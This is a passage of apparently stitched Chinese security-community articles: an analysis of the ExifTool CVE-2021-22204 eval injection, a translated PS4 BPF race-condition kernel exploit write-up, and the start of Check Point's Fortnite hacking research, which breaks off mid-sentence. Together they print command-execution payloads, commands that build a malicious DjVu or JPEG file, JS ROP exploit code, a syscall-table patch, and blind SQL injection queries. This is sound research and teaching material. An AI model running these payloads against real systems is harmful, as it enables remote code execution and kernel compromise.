2. 关键代码`last unless $tok =~ /(\\+)$/ and length($1) & 0x01`中使用正则`(\\+)$`匹配切割后字符串结尾的反斜杠，通过and来连接`length($1) & 0x01;`(当单数和0x01进行与运算时会返回1)判断反斜杠是否为单数个， **单数个反斜杠说明该段内容中存在被转义的引号，则拼接一个引号到字符串中继续进行循环** ，直到匹配不到或者为偶数时退出循环，为什么要采用拼接双引号的形式，因为这里原本取的就是双引号之间的内容，所以不会取到其中原本就包含双引号的情况，需要拼接。
3. 通过`s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge`替换模式将切割后字符串中的`$`和`@`字符分别转义为`\$`和`\@`避免之后带入eval造成代码执行风险。而eval的作用根据注释是实现对某些转义的处理，例如`\n`。
打印的执行结果如下：
首次进入变量内容为：(metadata (name "exif\"tool"))
获取的非空字符串为：(
进入递归解析
首次进入变量内容为：(metadata (name "exif\"tool"))
获取的非空字符串为：m
获取的非空字符串为：(
进入递归解析
首次进入变量内容为：(metadata (name "exif\"tool"))
获取的非空字符串为：n
获取的非空字符串为："
进入子串解析
循环子串解析
上一个引号偏移量为：17
第二个引号偏移量为：23
切割字符串为:(metadata (name "exif\"tool")),起始位置为:17,长度为:5
切割后的字符串为:exif\=+exif\
如果是奇数个反斜杠结尾，则添加引号字符串为:exif\"
循环子串解析
上一个引号偏移量为：23
第二个引号偏移量为：28
切割字符串为:(metadata (name "exif\"tool")),起始位置为:23,长度为:4
切割后的字符串为:exif\"tool=exif\"+tool
eval执行前为：exif\"tool
eval执行后为：exif"tool
获取的非空字符串为：)
进入递归结果为ARRAY(0x3ad4130)
获取的非空字符串为：)
进入递归结果为ARRAY(0x3ac87c0)
### parseAnt漏洞分析
通过上面的分析我们知道了函数中存在一个代码执行eval点如下：
eval qq{"$tok"};
#or
eval "\"$tok\"";
在Perl提供了另一个引号机制，即qq和qx等(`双引号和反引号`)。使用`qq`运算符(`qq+界限符`)，就可以避免使用双引号将字符串包起来，从而不需额外转义在字符串中原本带有的双引号。界限符可以选择：`(
),< >,{ },[ ]`其中的一对。使用`qx`运算符相当于使用`system`函数，可以用于执行系统命令。
要想在这个环境中执行系统命令就需要在变量`$tok`包含`.`来连接表达式的值和`"`来闭合原有的双引号(结尾也可以选择使用#来注释掉)，或者包含标量`${`从而不需要`"`和`.`，将`$tok`替换后如下：
$tok = '".`command`."'; #or '".`command`#"';
$tok = eval "".`command`.""; #or eval "".`command`#"";
#or
$tok = '".qx{command}."';
$tok = eval "".qx{command}."";
#or
$tok = '"${system(command)}"';
$tok = eval "${system(command)}";
了解这些知识后我们再结合源码来看payload，先看需要进行闭合的payload：
(metadata "\
".`calc`.\"g"
可以看到第一对双引号之间包含一个反斜杠和换行符，根据源码分析，第一步将会提取两个引号之间的字符串保存在tok变量中，正常情况下提取出来的字符串中不会包含未转义的引号，这时取到反斜杠+换行符，第二步判断是否单数个反斜杠结尾，这里的结尾判断使用的正则`$`匹配，来看看
**perl官方文档** [7] 对`$`的定义：
图中说明`$`匹配字符串的末尾， **或字符串末尾换行符之前**
。也就是说这里没有匹配到最后的换行符，匹配到了之前的单数个反斜杠，这时再来看前面关于源码第二步的分析：
> 单数个反斜杠说明该段内容中存在被转义的引号，则拼接一个引号到字符串中继续进行循环
实际上这里的引号因为换行符的原因并没有被正确转义，紧接着拼接了下一个引号之间的内容，最后使用转义符来结束payload：
.`calc`.\
#结果为
\
".`calc`.\"g
这时带入eval后已经成功脱离字符串上下文，我们就可以使用反引号执行任意代码：
在修改版函数中运行该payload的结果为：
首次进入变量内容为：(metadata "\
".`calc`.\"g"
获取的非空字符串为：(
进入递归解析
首次进入变量内容为：(metadata "\
".`calc`.\"g"
获取的非空字符串为：m
获取的非空字符串为："
进入子串解析
循环子串解析
上一个引号偏移量为：11
第二个引号偏移量为：14
切割字符串为:(metadata "\
".`calc`.\"g",起始位置为:11,长度为:2
切割后的字符串为:\
=+\
如果是奇数个反斜杠结尾，则添加引号字符串为:\
"
循环子串解析
上一个引号偏移量为：14
第二个引号偏移量为：24
切割字符串为:(metadata "\
".`calc`.\"g",起始位置为:14,长度为:9
切割后的字符串为:\
".`calc`.\=\
"+.`calc`.\
如果是奇数个反斜杠结尾，则添加引号字符串为:\
".`calc`.\"
循环子串解析
上一个引号偏移量为：24
第二个引号偏移量为：26
切割字符串为:(metadata "\
".`calc`.\"g",起始位置为:24,长度为:1
切割后的字符串为:\
".`calc`.\"g=\
".`calc`.\"+g
eval执行前为：\
".`calc`.\"g
eval执行后为：
SCALAR(0x3a8a5b0)
进入递归结果为ARRAY(0x3a8c8a0)
关于此类payload的发现可以参考以下两篇文章： **An Image Speaks a Thousand RCEs: The Tale of
Reversing an ExifTool CVE** [8]、 **CVE-2021-22204 - Recreating a critical bug
in ExifTool, no Perl smarts required**
[9]。其中列出了fuzz过程，这里就不进行深入了，实测通过关键位置特殊字符fuzz可以触发代码执行。
还有一类payload为：
(metadata(Copyright "\c${system(calc)}")
下面来看执行结果：
切割后的字符串为:\c${system(calc)}=+\c${system(calc)}
eval执行前为：\c\${system(calc)}
eval执行后为：
当字符`$`进入正则`s{\\(.)|([\$\@]|\\$)}{'\\'.($2 ||
$1)}sge`时会被添加转义符变为`\$`。这时正好和前面的`\c`组成了`\c\`，查看 **perl文档：Quote and Quote-like
Operators** [10]
从上图中得知在perl中`\c+字符`可以映射到其他字符，计算公式为`chr(ord("字符") ^ 64)`，带入`\`得到`chr(ord("\\")
^ 64)`，如下：
所以`\c\`会得到FS (File Separator)
文件分割符，这时用来转义的反斜杠就被吃掉了导致转义失败。关于此类payload的发现可以参考以下文章： **From Fix to Exploit:
Arbitrary Code Execution for CVE-2021-22204 in ExifToo** [11]，其中同样列出了fuzz过程。
## 0x04 漏洞利用
### DjVu文件生成
查看DjVu.pm中的相关函数注释`Process DjVu annotation chunk (ANTa or decoded
ANTz)`得知本次漏洞出现在解析DJVU文件的注释块`ANTa`或者`ANTz`过程中：
关于该注释块的解释在文档 **DJVU3 FILE STRUCTURE OVERVIEW** [12]有所提及，如下图：
文档 **DJVUMAKE**
[13]中指出djvumake可以生成DjVu图像文件，使用djvumake生成需要包含`Sxxx`或`BGxx`块，他们可以指向一个文件，如下图：
使用命令`sudo apt-get install -y djvulibre-bin`安装djvu套件。经测试`BGjp`和`BG2k`块可以指定任意文件，但关于`ANTa`块的插入文档并没有提及。查看 **DjVumake源码**
[14]发现隐藏参数：
于是我们就可以通过如下命令生成带有payload的DjVu文件，其中需要使用INFO参数指定长宽：
$ printf '(metadata "\\\n".`echo 2>/tmp/2`.\\"g"' > rce.txt
$ djvumake rce.djvu INFO=0,0 BG2k=/dev/null ANTa=rce.txt
$ exiftool rce.djvu
另外也可以通过 **openwall**
[15]此处公布的命令来创建POC，生成一个pbm格式文件后就可以通过套件中的`cjb2`将pbm转换为DjVu，最后再追加`ANTa`注释块：
$ printf 'P1 1 1 0' > moo.pbm
$ cjb2 moo.pbm moo.djvu
$ printf 'ANTa\0\0\0\36"(xmp(\\\n".qx(echo 2>/tmp/4);#"' >> moo.djvu
$ exiftool moo.djvu
需要注意`ANTa\0\0\0\36`中的`36`为`ANTa`块中数据的八进制长度，图例如下：
### JPEG文件生成
同样在源码中发现解析JPG文件过程中对元数据标签`HasselbladExif(0xc51b)`存在递归解析，这时就需要寻找将DjVu文件插入到`HasselbladExif`标签中的方法，原作者文章中指出了一种方法，在
**exiftool官方配置文档** [16]中也可以查询到相关用法，通过编写eixftool配置文件来自定义标签表：
配置文件如下，保存为configfile：
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
通过如下命令来加载配置文件插入DjVu文件到指定标签内，从而生成带有payload的正常JPG文件：
exiftool -config configfile '-HasselbladExif<=exploit.djvu' image.jpg
还有一种方法是不通过配置文件，通过exiftool参数直接插入标签，如下说明：
但是`HasselbladExif`标签并不是直接可写的：
这时可以通过插入可写标签`GeoTiffAsciiParams`后替换文件指定字节为`HasselbladExif`标签即可，流程如下：
exiftool "-GeoTiffAsciiParams<=moo.djvu" tim22g.jpg
sed 's \x87\xb1 \xc5\x1b g' tim22g.jpg > trce.jpg
首先插入`GeoTiffAsciiParams`标签后通过`exiftool -v10 tim22g.jpg`查看其标签id为`0x87b1`
然后使用sed命令替换为`0xc51b`即可，如下图：
可以通过其他安全研究员编写的脚本来一键生成，只需要一张图片即可。github地址为： **AssassinUKG/CVE-2021-22204** [17]
脚本中插入的DjVu注释块是`ANTz`，使用了Bzz压缩，压缩后不具有文本可读性，如下图：
## 0x05 漏洞修复
**12.24版本的更新** [18]：
上图中可以看到更新后采用了硬编码的形式通过搜索和替换来处理C转义字符，并且删除了eval函数，彻底修复了此处的漏洞。
## 0x06 总结
本篇分析下来可以看到在此漏洞的利用中可以使用多种多样的方式。对于软件功能技术、安全防护日新月异的今天，看似漏洞挖掘利用越来越难以进行，其实考验我们的是思维的发散程度以及对底层知识掌握的广度与深度。万变不离其宗，以不变才能应万变。
## 0x07 参考资料
[1]hackerone gitlab rce: <https://hackerone.com/reports/1154542>
[2]gitlab在野利用: <https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/>
[3]官方漏洞通告: <https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/>
[4]图像元数据（Metadata） ——Exif信息分析:
<https://blog.csdn.net/ling620/article/details/103731878>
[5]exiftool源码: <https://github.com/exiftool/exiftool/releases>
[6]CVE-2021-22204 - ExifTool RCE详细分析(漏洞原作者翻译版本):
<https://xz.aliyun.com/t/9762>
[7]Metacharacters: <https://perldoc.perl.org/perlre#Metacharacters>
[8]An Image Speaks a Thousand RCEs: The Tale of Reversing an ExifTool CVE:
<https://amalmurali47.medium.com/an-image-speaks-a-thousand-rces-the-tale-of-reversing-an-exiftool-cve-585f4f040850>
[9]CVE-2021-22204 - Recreating a critical bug in ExifTool, no Perl smarts
required: <https://blog.bricked.tech/posts/exiftool/>
[10]Quote and Quote-like Operators:<https://perldoc.perl.org/perlop#%5B5%5D>
[11]From Fix to Exploit: Arbitrary Code Execution for CVE-2021-22204 in
ExifTool: <https://blogs.blackberry.com/en/2021/06/from-fix-to-exploit-arbitrary-code-execution-for-cve-2021-22204-in-exiftool>
[12]DJVU3 FILE STRUCTURE
OVERVIEW:<http://djvu.sourceforge.net/specs/djvu3changes.txt>
[13]DJVUMAKE: <http://djvu.sourceforge.net/doc/man/djvumake.html>
[14]DjVumake Source:
<https://github.com/traycold/djvulibre/blob/master/tools/djvumake.cpp#L979>
[15]openwall: <https://www.openwall.com/lists/oss-security/2021/05/10/5*[16]config: https://exiftool.org/config.html>
[17]AssassinUKG/CVE-2021-22204:
<https://github.com/AssassinUKG/CVE-2021-22204>
[18]12.24版本的更新:
<https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031>
[19]ExifTool完全入门指南: <https://www.rmnof.com/article/exiftool-introduction/>
[20]Description of Exif file format:
<https://www.media.mit.edu/pia/Research/deepview/exif.html>
[21]JPEG文件格式解析(一) Exif 与 JFIF:
<https://cloud.tencent.com/developer/article/1427939>
[22]关于EXIF格式的分析: <https://www.jianshu.com/p/ae7b9ab20bca>
[23]TIFF 规范，修订 6.0:
<https://www.awaresystems.be/imaging/tiff/specification/TIFF6.pdf>
[24]GitLab 未授权 RCE 分析 Part 1：ExifTool: <http://wjlshare.com/archives/1627>
[25]CVE-2021-22205：Gitlab RCE分析之一：ExifTool CVE-2021-22004起源:
[https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247485285&idx=1&sn=647634dd0de8ea875c80bd714ac570ef](https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247485285&idx=1&sn=647634dd0de8ea875c80bd714ac570ef)
[26]RCE in GitLab when removing metadata using ExifTool:
<https://dayzerosec.com/vulns/2021/05/18/rce-in-gitlab-when-removing-metadata-using-exiftool.html>
[27]A case study on: CVE-2021-22204 – Exiftool RCE:
<https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/>
[28]Analyse de la vulnérabilité CVE-2021-22205:
<https://www.acceis.fr/analyse-de-la-vulnerabilite-cve-2021-22205/>
[29]RCE in GitLab via 0day in exiftool metadata processing library
CVE-2021-22204:
[https://www.youtube.com/watch?v=YYLqzj5-N7w&t=103s](https://www.youtube.com/watch?v=YYLqzj5-N7w&t=103s)
* * * | 社区文章 |
原文：<https://github.com/Cryptogenic/Exploit-Writeups/blob/master/FreeBSD/PS4%204.55%20BPF%20Race%20Condition%20Kernel%20Exploit%20Writeup.md>
在本文的上篇中，我们介绍了竞争条件的概念，以及数据包过滤程序的相关知识。同时，还介绍了引发竞争条件方法，以及如何替换经过验证的数据的准备知识，在本文中，我们将为读者进一步介绍利用该内核漏洞的详细方法。
**设置一个有效的程序**
* * *
首先，我们需要设置一个bpf_program对象，以便可以通过将其传递给ioctl()来设置一个过滤程序。bpf_program的结构如下所示：
struct bpf_program { // Size: 0x10
u_int bf_len; // 0x00
struct bpf_insn *bf_insns; // 0x08
};
请注意，bf_len保存的不是以字节为单位的程序指令大小，而是长度。这意味着，我们为bf_len指定的值，等于指令在内存中的总大小除以指令的大小，即8。
struct bpf_insn { // Size: 0x08
u_short code; // 0x00
u_char jt; // 0x02
u_char jf; // 0x03
bpf_u_int32 k; // 0x04
};
其实，有效的程序很容易编写，例如，可以先写一串NOP（无操作）伪指令，然后，在最后面加上一个“return”伪指令即可。通过查看bpf.h，我们就会发现，NOP和RET的操作码分别为0x00和0x06。
#define BPF_LD 0x00 // By specifying 0's for the args it effectively does nothing
#define BPF_RET 0x06
下面是取自通过JS ROP链实现的漏洞利用代码中的片段，用于在内存中设置一个有效的BPF程序：
**// Setup valid program
var bpf_valid_prog = malloc(0x10);
var bpf_valid_instructions = malloc(0x80);
p.write8(bpf_valid_instructions.add32(0x00), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x08), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x10), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x18), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x20), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x28), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x30), 0x00000000);
p.write8(bpf_valid_instructions.add32(0x38), 0x00000000);
p.write4(bpf_valid_instructions.add32(0x40), 0x00000006);
p.write4(bpf_valid_instructions.add32(0x44), 0x00000000);
p.write8(bpf_valid_prog.add32(0x00), 0x00000009);
p.write8(bpf_valid_prog.add32(0x08), bpf_valid_instructions);**
* * *
**设置一个无效的程序**
* * *
这个程序是我们的恶意代码的老窝，通过write()执行时，它会破坏栈上的内存。这个程序几乎与前面的有效程序一样简单，因为它只包含9个伪指令。我们可以滥用“LDX”和“STX”指令向堆栈中写入数据，为此，首先将我们要加载的值（32位）加载到索引寄存器中，然后将索引寄存器的值存储到临时内存的索引中，但是由于指令无效，所以实际上会写出界外，从而破坏函数的返回指针。以下简单介绍一下要在恶意过滤程序中运行的指令：
LDX X <- {lower 32-bits of stack pivot gadget address (pop rsp)}
STX M[0x1E] <- X
LDX X <- {upper 32-bits of stack pivot gadget address (pop rsp)}
STX M[0x1F] <- X
LDX X <- {lower 32-bits of kernel ROP chain fake stack address}
STX M[0x20] <- X
LDX X <- {upper 32-bits of kernel ROP chain fake stack address}
STX M[0x21] <- X
RET
请注意，mem的类型为u_int32_t，这就是执行写操作时相应增量是1而非4的原因。让我们来看看mem的完整定义：
#define BPF_MEMWORDS 16
// ...
u_int32_t mem[BPF_MEMWORDS];
请注意，该缓冲区仅分配了58个字节（共16个值，每个值占4个字节）——但我们的指令将访问索引30、31、32和33，这显然超出了该缓冲区的地址范围。由于过滤程序的代码是在验证后才进行替换的，所以系统无法捕获这个问题，所以越界写漏洞由此诞生了。
索引0x1E和0x1F（30和31）是返回地址在堆栈上的位置。通过用一个由pop rsp; ret;
组成的gadget的地址覆盖它，并将我们想要弹出的值写入索引0x20和0x21（32和33）对应的RSP寄存器中，就可以成功地将堆栈转换为用于获得ring0级别的代码执行权限的内核ROP链的伪堆栈了。
以下代码用于在内存中设置无效的恶意BPF程序：
// Setup invalid program
var entry = window.gadgets["pop rsp"];
var bpf_invalid_prog = malloc(0x10);
var bpf_invalid_instructions = malloc(0x80);
p.write4(bpf_invalid_instructions.add32(0x00), 0x00000001);
p.write4(bpf_invalid_instructions.add32(0x04), entry.low);
p.write4(bpf_invalid_instructions.add32(0x08), 0x00000003);
p.write4(bpf_invalid_instructions.add32(0x0C), 0x0000001E);
p.write4(bpf_invalid_instructions.add32(0x10), 0x00000001);
p.write4(bpf_invalid_instructions.add32(0x14), entry.hi);
p.write4(bpf_invalid_instructions.add32(0x18), 0x00000003);
p.write4(bpf_invalid_instructions.add32(0x1C), 0x0000001F);
p.write4(bpf_invalid_instructions.add32(0x20), 0x00000001);
p.write4(bpf_invalid_instructions.add32(0x24), kchainstack.low);
p.write4(bpf_invalid_instructions.add32(0x28), 0x00000003);
p.write4(bpf_invalid_instructions.add32(0x2C), 0x00000020);
p.write4(bpf_invalid_instructions.add32(0x30), 0x00000001);
p.write4(bpf_invalid_instructions.add32(0x34), kchainstack.hi);
p.write4(bpf_invalid_instructions.add32(0x38), 0x00000003);
p.write4(bpf_invalid_instructions.add32(0x3C), 0x00000021);
p.write4(bpf_invalid_instructions.add32(0x40), 0x00000006);
p.write4(bpf_invalid_instructions.add32(0x44), 0x00000001);
p.write8(bpf_invalid_prog.add32(0x00), 0x00000009);
p.write8(bpf_invalid_prog.add32(0x08), bpf_invalid_instructions);
**创建和绑定设备**
* * *
为了演示资源竞争的破坏作用，这里需要为/dev/bpf打开两个实例。然后，我们将这两个实例绑定到同一个有效的接口上——至于绑定到哪个接口上面，主要取决于系统的网络连接方式。如果系统使用的是有线（以太网）连接，可以绑定到“eth0”接口；如果系统使用的是wifi连接，可以绑定到“wlan0”接口。漏洞利用代码可以通过测试自动确定使用哪个接口。这里所说的测试，实际上就是尝试对给定的接口调用write()，如果该接口无效，则write()调用将失败并返回-1。如果在绑定到“eth0”接口后发生这种情况，漏洞利用代码将尝试重新绑定到“wlan0”并再次进行类似的检查。如果write()再次返回-1，那么漏洞利用代码就会停止绑定方面的尝试，并给出无法绑定设备的通知。
// Open first device and bind
var fd1 = p.syscall("sys_open", stringify("/dev/bpf"), 2, 0); // 0666 permissions, open as O_RDWR
p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("eth0")); // 8020426C = BIOCSETIF
if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
p.syscall("sys_ioctl", fd1, 0x8020426C, stringify("wlan0"));
if (p.syscall("sys_write", fd1, spadp, 40).low == (-1 >>> 0)) {
throw "Failed to bind to first /dev/bpf device!";
}
}
然后对第二个设备重复相同的过程。
**设置并行的过滤程序**
* * *
为了引发内存破坏行为，我们需要让两个并行运行的线程在各自的设备上不断设置过滤程序。最终，有效的过滤程序的内存将被free()函数所释放并重新分配，直至被无效过滤程序所破坏。为此，各个线程需要执行以下操作（伪代码）：
**// 0x8010427B = BIOCSETWF
void threadOne() // Sets a valid program
{
for(;;)
{
ioctl(fd1, 0x8010427B, bpf_valid_program);
}
}
void threadTwo() // Sets an invalid program
{
for(;;)
{
ioctl(fd2, 0x8010427B, bpf_invalid_program);
}
}**
* * *
**触发代码执行**
* * *
到目前为止，我们已经能够破坏过滤程序并植入我们的无效指令了，接下来，我们需要让过滤程序运行起来，从而通过被覆盖的返回地址来触发代码执行了。由于我们希望该过滤程序提供“写入”功能，因此，bpfwrite()自然是完成该操作的理想之选。这意味着，我们还需要运行第三个线程，让它不断对第一个bpf设备执行write()函数。当该过滤程序遭到破坏后，接下来的write()调用将针对无效过滤程序，从而导致堆栈内存被破坏，并跳转到我们指定的任意地址，这样，我们就可以在ring0中执行代码了。
void threadThree() // Tries to trigger code execution
{
void *scratch = (void *)malloc(0x200);
for(;;)
{
uint64_t n = write(fd1, scratch, 0x200);
if(n == 0x200))
{
break;
}
}
}
**安装“kexec()”系统调用**
* * *
我们的kROP链的最终目标，是安装一个自定义的系统调用，以便可以在内核模式下执行代码。为了与4.05版本的代码保持一致，我们将再次使用系统调用＃11。该系统调用的签名如下所示：
sys_kexec(void *code, void *uap);
安装系统调用的过程并不复杂，我们只需要在sysent表中添加一个表项即可。sysent表中的表项具有以下结构：
struct sysent { /* system call table */
int sy_narg; /* number of arguments */
sy_call_t *sy_call; /* implementing function */
au_event_t sy_auevent; /* audit event associated with syscall */
systrace_args_func_t sy_systrace_args_func;
/* optional argument conversion function. */
u_int32_t sy_entry; /* DTrace entry ID for systrace. */
u_int32_t sy_return; /* DTrace return ID for systrace. */
u_int32_t sy_flags; /* General flags for system calls. */
u_int32_t sy_thrcnt;
};
虽然上面的成员变量很多，但是我们只需关注sy_narg和sy_call。在这里，需要将sy_narg设为2（一个用于执行地址，另一个用于传递参数）。另外，由于要执行的代码的地址将通过RDI寄存器进行传递（请记住，虽然第一个参数通常借助RDI寄存器进行传递，但是在系统调用中，RDI寄存器将被线程描述符td占用），所以，我们需要将sy_call成员设置为将jmp传递到RSI寄存器的gadget。其实，jmp
qword ptr [rsi]就是一个满足上述要求的gadget，同时，该gadget可以从内核中找到，偏移量为0x13a39f。
LOAD:FFFFFFFF8233A39F FF 26 jmp qword ptr [rsi]
在4.55版本内核的转储中，我们可以看到syscall
11的sysent表项的偏移量为0xC2B8A0。正如你所看到的，这里的实现函数是nosys，所以它是一个理想的覆盖对象。
_61000010:FFFFFFFF8322B8A0 dq 0 ; Syscall #11
_61000010:FFFFFFFF8322B8A8 dq offset nosys
_61000010:FFFFFFFF8322B8B0 dq 0
_61000010:FFFFFFFF8322B8B8 dq 0
_61000010:FFFFFFFF8322B8C0 dq 0
_61000010:FFFFFFFF8322B8C8 dq 400000000h
通过将2写入到0xC2B8A0处，将[kernel base + 0x13a39f]
写入到0xC2B8A8处，并将100000000写入到0xC2BBC8处（我们希望将标志从SY_THR_ABSENT改为SY_THR_STATIC），我们就可以成功插入一个自定义系统调用，之后通过该系统调用，我们就可以在内核模式下执行指定的任意代码了！
**索尼的“补丁”**
* * *
实际上，索尼并没有解决这个安全问题，不过，他们也确实知道BPF会导致一些不可思议的问题。通过简单的堆栈跟踪，他们发现bpfwrite()的返回地址遭到了破坏。不过，索尼似乎无法弄清楚到底是咋回事，所以采取了一种简单粗暴的做法：把bpfwrite()完全从内核中剥离出来——#_SonyWay。幸运的是，经过几小时的搜索，似乎没有找到可以利用这个过滤程序破坏漏洞的其他原语，所以，这个问题就这样归于沉寂了。
打补丁前的BPF cdevsw：
bpf_devsw dd 17122009h ; d_version
; DATA XREF: sub_FFFFFFFFA181F140+1B↑o
dd 80000000h ; d_flags
dq 0FFFFFFFFA1C92250h ; d_name
dq 0FFFFFFFFA181F1B0h ; d_open
dq 0 ; d_fdopen
dq 0FFFFFFFFA16FD1C0h ; d_close
dq 0FFFFFFFFA181F290h ; d_read
dq 0FFFFFFFFA181F5D0h ; d_write
dq 0FFFFFFFFA181FA40h ; d_ioctl
dq 0FFFFFFFFA1820B30h ; d_poll
dq 0FFFFFFFFA16FF050h ; d_mmap
dq 0FFFFFFFFA16FF970h ; d_strategy
dq 0FFFFFFFFA16FF050h ; d_dump
dq 0FFFFFFFFA1820C90h ; d_kqfilter
dq 0 ; d_purge
dq 0FFFFFFFFA16FF050h ; d_mmap_single
dd -5E900FB0h, -1, 0 ; d_spare0
dd 3 dup(0) ; d_spare1
dq 0 ; d_devs
dd 0 ; d_spare2
dq 0 ; gianttrick
dq 4EDE80000000000h ; postfree_list
打过补丁后的BPF cdevsw：
bpf_devsw dd 17122009h ; d_version
; DATA XREF: sub_FFFFFFFF9725DB40+1B↑o
dd 80000000h ; d_flags
dq 0FFFFFFFF979538ACh ; d_name
dq 0FFFFFFFF9725DBB0h ; d_open
dq 0 ; d_fdopen
dq 0FFFFFFFF9738D230h ; d_close
dq 0FFFFFFFF9725DC90h ; d_read
dq 0h ; d_write
dq 0FFFFFFFF9725E050h ; d_ioctl
dq 0FFFFFFFF9725F0B0h ; d_poll
dq 0FFFFFFFF9738F050h ; d_mmap
dq 0FFFFFFFF9738F920h ; d_strategy
dq 0FFFFFFFF9738F050h ; d_dump
dq 0FFFFFFFF9725F210h ; d_kqfilter
dq 0 ; d_purge
dq 0FFFFFFFF9738F050h ; d_mmap_single
dd 9738F050h, 0FFFFFFFFh, 0; d_spare0
dd 3 dup(0) ; d_spare1
dq 0 ; d_devs
dd 0 ; dev_spare2
dq 0 ; gianttrick
dq 51EDE0000000000h ; postfree_list
请注意，d_write的数据已经不是有效的函数指针了。
**小结**
* * *
这是一个非常酷的漏洞。不过，由于非特权用户无法利用该漏洞，所以，该漏洞在大多数其他系统上没有太大的利用价值，但当需要从root权限提升至ring0代码执行权限的时候，这仍不失为一种有效方法。另外，我认为这篇文章也很值得一读，因为这里介绍的攻击策略是非常独特的（使用竞争条件触发堆栈溢出漏洞）。同时，本文也介绍了针对该漏洞的利用方法：覆盖堆栈上的返回指针的策略，这是所有处于学习阶段的安全研究人员都应该熟练掌握的一种简单利用方法。需要强调的是，这种攻击策略是非常古老的，实际上，这可能是最古老的一种攻击策略——但是，稍加改动，该策略仍然可以用于现代的漏洞利用代码中。
**致谢**
* * *
qwertyoruiopz
**参考资料**
* * *
Watson FreeBSD Kernel Cross Reference
Microsoft Support : Description of race conditions and deadlocks | 社区文章 |
原文地址：<https://research.checkpoint.com/hacking-fortnite/>
# 前言
在Epic Games的大型游戏 **堡垒之夜** 中，玩家在虚拟世界中相互争夺武器和工具，以保证自己能存活下来，成为“最后的胜利者”。
然而在过去的几周中，Check Point Research在Epic
Games的在线平台中发现了多个漏洞，可以让攻击者接管任何玩家的账号，查看他们的个人账号信息、购买V币（堡垒之夜的游戏内虚拟货币）以及窃听玩家游戏内的聊天。
**堡垒之夜** 由美国游戏开发商 **Epic Games**
开发，该游戏几乎占其公司[估值](https://www.bloomberg.com/news/features/2018-07-24/fortnite-phenomenon-turns-epic-game-developer-into-billionaire)（50亿-80亿美金）的一半。随着价值的快速增长，这个游戏会引起网络犯罪分子的注意也不足为奇了，他们会对毫不知情的游戏玩家下手。
网络犯罪分子通常通过欺骗玩家进入钓鱼网站，这些网站承诺会给玩家V币。这种商品通常只能通过堡垒之夜的官方商店获得，或者是从游戏中获得。这些网站会催促玩家输入他们的游戏账号以及个人信息，比如姓名、地址和信用卡等信息，还会通过社交媒体传播这些信息，声称玩家可以“轻松赚钱”。
我们的团队发现了更为复杂和阴险的方法，这种方法不需要用户的账户信息。通过在Epic
Game的子域名中发现的漏洞，用户只需要点击了发送给他们的链接，就可以进行XSS攻击。点击之后，不需要任何登录信息，他们的用户名和密码会立刻被攻击者捕获。
Check Point Research向Epic Games通报了此漏洞，目前已发布补丁，以确保上百万的玩家可以在安全的环境中进行游戏。
攻击视频Demo：
<https://youtu.be/poQmRWWh45s>
# 技术细节
我们发现Epic Games有许多老旧的子域名，比如"<http://ut2004stats.epicgames.com/> "。我们的故事就从这里开始了。
# SQL 注入
子域名<http://ut2004stats.epicgames.com/> 让我们发现了一个有趣的GET请求，请求的是这个路径:
/serverstats.php?server=[some server code]
如果在请求中加入"sign"，会发生什么呢？
好吧，服务器的响应是：“服务器数据库错误”！
这当然是一个很好的突破点，这个地方可能存在SQL注入（目前我们假设服务器使用的是MYSQL数据库）。
测试发现网站存在WAF，使用的是黑名单过滤而非白名单。因此，我们遇到了其中一个限制是无法查询许多系统表（例如`information_schema`）。
但是如果我们使用系统变量（@@）呢？事实上，有人似乎忘记了它们的存在，它们的效果超出了我们的预期！
if((SUBSTR(query,from,length)=CHAR([char_number])),true,false)
通过谷歌搜索发现`37514065`是一个有效的服务器代码。顺着这个思路，我们执行以下查询看看响应会是什么：
4014字节长度的响应包代表此字符未出现在查询结果中，12609字节的响应包代表该字符出现在了查询结果中。
例如:
if((SUBSTR(@@version,1,1)=CHAR(52)),37514065,0)
返回4014字节。
请求包：
**图1：** 第一次SQL注入查询
返回包：
**图2：** 初始SQL查询的4014字节长度响应包。
当然，如果查询
if((SUBSTR(@@version,1,1)=CHAR(53)),37514065,0)
返回包长度为12609字节，我们就可以知道所使用的MySQL版本是5。
**图3：** 第二次SQL注入查询。
**图4：** 对应该查询的12609字节长度的响应。
通过这种方式获取的数据会在后面给我们提供帮助。
# 跨站脚本攻击（XSS）
我们继续进行研究时，发现子域名“
[http://ut2004stats.epicgames.com](http://ut2004stats.epicgames.com/)
”包含一个名为“maps”的网页。我们猜测此网页用于展示按地图名称或ID排序的锦标赛统计信息。
当你在挖掘XSS漏洞的时候，无论是反射性还是存储型，毫无疑问你会去寻找你输入内容的反馈——我们在搜索组件中找到了它，这个页面的另一个功能是搜索栏，它将充当XSS漏洞的注入点。
举例：
这是我们的第二个重大突破，我们在“ut2004stats.epicgames.com”上有了一个XSS攻击点。作为主域名“epicgames.com”的子域名，它也会为我们最后的攻击阶段提供很大的帮助。
# oAuth帐户接管
在接下来的几天，我们都在寻找一个可能的攻击点。
事实上，从一开始我们就有一个成员对SSO机制有一种特殊的感觉。不排除这里有出问题的地方，于是我们仔细研究了下SSO，并发现Epic
Games确实写了一个通用SSO接口，为多个登录程序提供服务。是时候深究一下这个接口了。
事实证明，玩家点击“登录”按钮登录账户时，Epic
